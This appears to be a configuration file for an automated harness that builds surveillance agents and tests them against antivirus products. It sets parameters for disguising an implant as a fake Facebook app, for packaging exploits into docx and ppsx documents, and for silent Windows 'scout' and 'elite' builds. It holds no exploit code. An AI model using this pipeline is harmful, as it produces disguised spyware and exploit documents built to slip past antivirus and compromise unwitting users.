SET_BUILD_PARAMS:
    SET:
      build_parameters:
        android:
          binary: {admin: false, demo: true}
          melt: {}
          platform: android
          sign: {}
          package: {}
        blackberry:
          binary: {demo: true}
          melt: {appname: facebook, desc: Applicazione utilissima di social network, name: Facebook
              Application, vendor: face inc, version: 1.2.3}
          package: {}
          platform: blackberry
        exploit:
          deliver: {user: USERID}
          factory: {_id: '000'}
          generate:
            binary: {admin: false, demo: false}
            exploit: HT-2012-001
            melt: {admin: false, demo: false, scout: true}
            platforms: [windows]
          melt: {appname: agent.exe, combo: txt, filename: example.txt, input: '000'}
          platform: exploit
          package: {}
        exploit_docx:
          deliver: {user: USERID}
          factory: {_id: '000'}
          generate:
            binary: {admin: false, demo: false}
            exploit: HT-2013-002
            melt: {admin: false, demo: false, scout: true}
            platforms: [windows]
          melt: {appname: APPNAME, filename: example.docx, input: '000', url: 'http://HOSTNAME/APPNAME'}
          platform: exploit
          package: {}
        exploit_ppsx:
          deliver: {user: USERID}
          factory: {_id: '000'}
          generate:
            binary: {admin: false, demo: false}
            exploit: HT-2013-003
            melt: {admin: false, demo: false, scout: true}
            platforms: [windows]
          melt: {appname: APPNAME, filename: example.ppsx, input: '000', url: 'http://HOSTNAME/APPNAME'}
          platform: exploit
          package: {}
        exploit_web:
          deliver: {user: USERID}
          factory: {_id: '000'}
          generate:
            binary: {admin: false, demo: false}
            exploit: HT-2013-002
            melt: {admin: false, demo: false, scout: true}
            platforms: [windows]
          melt: {appname: APPNAME, filename: example.docx, input: '000', url: 'http://HOSTNAME/APPNAME'}
          platform: exploit
          package: {}
        ios:
          binary: {demo: true}
          melt: {}
          platform: ios
          package: {type: local}
        linux:
          binary: {admin: false, demo: true}
          melt: {}
          platform: linux
          package: {}
        osx:
          binary: {admin: true, demo: true}
          melt: {}
          platform: osx
          package: {}
        windows:
          binary: {admin: false, demo: true}
          melt: {admin: false, bit64: true, codec: true, scout: true}
          platform: windows
          sign: {}
          package: {}

SET_BLACKLIST:
    - SET:
        blacklist: [bitdef,comodo,gdata,drweb,emsisoft,sophos,360cn,kis32,avg,avg32]

SET_DEFAULTS:
    - CALL: SET_BUILD_PARAMS
    - CALL: SET_BLACKLIST
    - SET:
        backend: 192.168.100.201
        frontend: 172.20.100.204

UPLOAD_AGENT:
    - PUSH:
        - [AVAgent/av_agent.py, AVAgent/build.py, AVAgent/package.py, AVAgent/rcs_cient.py,
            AVCommon/commands/START_AGENT.py, AVCommon/commands/STOP_AGENT.py,
            AVCommon/commands/BUILD.py, AVCommon/commands/GET.py, AVCommon/commands/SET.py]
        - /home/avmonitor/AVTest
        - c:\\

UPDATE:
    - REVERT
    - START_VM
    - SLEEP: 180
    - CALL: UPLOAD_AGENT
    - INTERNET: True
    - SLEEP: 3600
    - INTERNET: False
    - STOP_VM
    - START_VM
    - SLEEP: 180
    - STOP_VM
    - REFRESH_SNAPSHOT

SCOUT:
    - CALL: DISPATCH
    - START_AGENT
    - CALL: SET_DEFAULTS
    - BUILD: [ scout, windows, silent ]
    - STOP_AGENT

MANUAL_BUILD:
    - START_AGENT
    - CALL: SET_DEFAULTS
    - BUILD: [ pull, windows, silent ]
    - STOP_AGENT

ELITE:
    - CALL: DISPATCH
    - START_AGENT
    - CALL: SET_DEFAULTS

    - BUILD: [ elite, windows, silent ]
    - STOP_AGENT

TEST:
    - START_AGENT
    - CALL: SET_DEFAULTS
    - BUILD: [ silent, windows, scout ]
    - STOP_AGENT